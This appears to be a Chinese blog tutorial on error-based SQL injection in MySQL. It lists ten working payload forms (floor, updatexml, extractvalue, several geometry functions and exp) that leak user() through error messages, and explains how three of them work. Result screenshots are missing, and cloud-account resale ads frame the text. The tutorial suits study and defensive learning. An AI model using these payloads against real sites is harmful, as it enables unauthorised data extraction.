【web安全】——报错注入

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6
作者名Demo不是emo
主页面链接 主页传送门
创作初心 舞台再大你不上台永远是观众没人会关心你努不努力摔的痛不痛他们只会看你最后站在什么位置然后羡慕或鄙夷
座右铭 不要让时代的悲哀成为你的悲哀
专研方向 web安全后渗透技术
每日emo 内心的爱意逐渐被时间冲淡
今天给大家讲解的是SQL注入中的报错注入这种注入方式平时用的非常多上次看别人面试时遇到了就再来深究一下研究其中的原理利用方式等等

报错注入总共有10种这里着重介绍其中三种常用的当然另外几种也会提到

一、十种报错注入手法

先来简单看看报错注入的十种手法

1、floor报错注入

语句如下

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

效果如下

2、extractvalue报错注入

语句如下

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

效果如下

3、updatexml报错注入

语句如下

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

效果如下

4、geometrycollection报错注入

语句如下

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

效果如下

5、multipoint报错注入

语句如下

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

效果如下

6、polygon报错注入

语句如下

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

效果如下

7、multipolygon报错注入

语句如下

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

效果如下

8、linestring报错注入

语句如下

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

效果如下

9、multilinestring报错注入

语句如下

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

效果如下

10、exp报错注入

语句如下

select * from test where id=1 and exp(~(select * from(select user())a));

效果如下

二、常用的三种报错注入

1、floor报错注入

这种注入方式与接下来的两种方式原理上存在很大的区别相对来说要复杂很多所以我直接新写了一篇博客来介绍这种注入手法博客链接如下

http://t.csdn.cn/mBZ5H

语句如下具体的逻辑和原理在这里就不多讲了有兴趣的小伙伴可以去看看博客

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2、Updatexml报错注入

首先来看看updatexml这个函数如下

UPDATEXML (XML_document, XPath_string, new_value); 

第一个参数XML_document是String格式为XML文档对象的名称文中为Doc

第二个参数XPath_string (Xpath格式的字符串) 如果不了解Xpath语法的话可以上网搜搜这里你只需要知道如果不满足新path格式的字符串那么都会产生报错。

第三个参数new_valueString格式替换查找到的符合条件的数据

漏洞形成原理讲解

由于updatexml的第二个参数需要 Xpath格式的字符串以~开头的内容不是xml格式的语法concat()函数为字符串连接函数显然不符合规则但是会将括号内的执行结果以错误的形式报出这样就可以实现报错注入了。

如下

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

在第二个参数中将我们的恶意语句用concat函数包裹起来即可此时程序的报错信息中就会返回执行我们恶意命令后的结果如下

3、extractvalue报错注入

extracvalue和updatexml还是有一点点区别updatexml是修改而extractvalue是查询。但是用法和updatexml是一样的。

首先我们还是来看看extractvalue()这个函数如下

EXTRACTVALUE (XML_document, XPath_string);

 第一个参数XML_document是String格式为XML文档对象的名称文中为Doc

 第二个参数XPath_string (Xpath格式的字符串)

 concat:返回结果为连接参数产生的字符串。

原理和updatexml报错注入差不多也是第二个参数的xpath格式漏洞所以又如下漏洞语句

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

效果如下

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6